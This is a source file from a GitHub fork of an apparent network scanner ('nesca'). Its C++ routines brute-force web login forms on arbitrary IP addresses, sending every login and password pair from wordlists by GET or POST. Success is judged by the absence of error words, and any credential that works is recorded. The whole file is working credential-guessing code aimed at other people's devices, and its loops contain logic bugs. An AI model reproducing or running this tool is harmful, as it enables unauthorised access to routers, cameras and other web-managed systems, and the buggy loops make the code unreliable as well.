forked from pantyusha/nesca
-
Notifications
You must be signed in to change notification settings - Fork 0
/
WebformWorker.cpp
173 lines (137 loc) · 6.46 KB
/
WebformWorker.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#include "WebformWorker.h"
#include "FileUpdater.h"
lopaStr WFClass::parseResponse(const char *ip,
const int port,
const std::string *buffer,
const char* formVal,
const char *login,
const char *pass) {
lopaStr result = {"UNKNOWN", "", ""};
if(buffer->size() != 0)
{
if(Utils::ustrstr(*buffer, std::string(formVal)) == -1
&& Utils::ustrstr(*buffer, std::string("denied")) == -1
&& Utils::ustrstr(*buffer, std::string("Location:")) == -1
&& Utils::ustrstr(*buffer, std::string("Authentication required")) == -1
&& Utils::ustrstr(*buffer, std::string("invalid")) == -1
&& Utils::ustrstr(*buffer, std::string("err")) == -1
&& Utils::ustrstr(*buffer, std::string(".href")) == -1
&& Utils::ustrstr(*buffer, std::string(".replace")) == -1
&& Utils::ustrstr(*buffer, std::string(".location")) == -1
&& Utils::ustrstr(*buffer, std::string("501 not implemented")) == -1
&& Utils::ustrstr(*buffer, std::string("http-equiv")) == -1
&& Utils::ustrstr(*buffer, std::string("busy")) == -1
&& Utils::ustrstr(*buffer, std::string("later")) == -1
&& Utils::ustrstr(*buffer, std::string("forbidden")) == -1
) {
strcpy(result.login, login);
strcpy(result.pass, pass);
return result;
} else {
if(Utils::ustrstr(*buffer, std::string("501 not implemented")) != -1) stt->doEmitionRedFoundData("<a href=\"" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 501 Not Implemented.");
if(Utils::ustrstr(*buffer, std::string("404 not found")) != -1) stt->doEmitionRedFoundData("<a href=\"" + QString(ip) + ":" + QString::number(port) + "\"><font color=\"#c3c3c3\">" + QString(ip) + ":" + QString::number(port) + "</font></a> - [WF]: 404 Not Found.");
return result;
}
}
else return result;
}
lopaStr WFClass::doGetCheck(const char *ip,
int port,
char *actionVal,
char *userVal,
char *passVal,
char *formVal) {
lopaStr result = {"UNKNOWN", "", ""};
int passCounter = 0;
int firstCycle = 0;
int rowIndex = -1;
char login[128] = {0};
char pass[32] = {0};
for(int i = 0; i < MaxWFLogin; ++i)
{
if(!globalScanFlag) break;
strcpy(login, wfLoginLst[i]);
for(int j = firstCycle; j < MaxWFPass; ++j)
{
if(!globalScanFlag) break;
strcpy(pass, wfPassLst[j]);
#pragma message "WFT?"
size_t rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;
if(rSize > 256) {
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
return result;
};
char nip[256] = {0};
sprintf(nip, "%s%s?%s=%s&%s=%s", ip, actionVal, userVal, login, passVal, pass);
std::string buffer;
Connector con;
if(con.nConnect(nip, port, &buffer) <= 0) return result;
rowIndex = Utils::addBARow(QString(ip), QString(login) + ":" + QString(pass), QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%", rowIndex);
result = parseResponse(ip, port, &buffer, formVal, login, pass);
}
firstCycle = 1;
}
return result;
}
lopaStr WFClass::doPostCheck(const char *ip,
int port,
char *actionVal,
char *userVal,
char *passVal,
char *formVal) {
lopaStr result = {"UNKNOWN", "", ""};
int passCounter = 0;
int firstCycle = 0;
int rowIndex = -1;
char login[128] = {0};
char pass[32] = {0};
for(int i = 0; i < MaxWFLogin; ++i)
{
if(!globalScanFlag) break;
strcpy(login, wfLoginLst[i]);
for(int j = firstCycle; j < MaxWFPass; ++j)
{
if(!globalScanFlag) break;
strcpy(pass, wfPassLst[j]);
#pragma message "WFT?"
size_t rSize = strlen(ip) + strlen(actionVal) + strlen(userVal) + strlen(login) + strlen(passVal) + strlen(pass) + 4;
if(rSize > 256) {
stt->doEmitionRedFoundData("[WF] Wrong request size! (" + QString(ip) + ":" + QString::number(port) + ")");
return result;
};
char nip[256] = {0};
char postData[256] = {0};
sprintf(nip, "%s%s", ip, actionVal);
sprintf(postData, "%s=%s&%s=%s", userVal, login, passVal, pass);
std::string buffer;
Connector con;
if (con.nConnect(nip, port, &buffer, postData) <= 0) return result;
rowIndex = Utils::addBARow(QString(ip), QString(login) + ":" + QString(pass), QString::number((++passCounter / (double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%", rowIndex);
++passCounter;
return parseResponse(ip, port, &buffer, formVal, login, pass);
}
firstCycle = 1;
}
return result;
}
lopaStr WFClass::_WFBrute( const char *ip,
int port,
char *methodVal,
char *actionVal,
char *userVal,
char *passVal,
char *formVal) {
lopaStr lps = {"UNKNOWN", "", ""};
if(strstri(methodVal, "get") != NULL) {
lps = doGetCheck(ip, port, actionVal, userVal, passVal, formVal);
} else if(strstri(methodVal, "post") != NULL) {
lps = doPostCheck(ip, port, actionVal, userVal, passVal, formVal);
} else {
stt->doEmitionFoundData("<a href=\"" + QString(ip) +
":" + QString::number(port)
+ "\"><font color=\"#c3c3c3\">" +
QString(ip) + ":" + QString::number(port) +
"</font></a> - [WF]: Unknown method.");
};
return lps;
}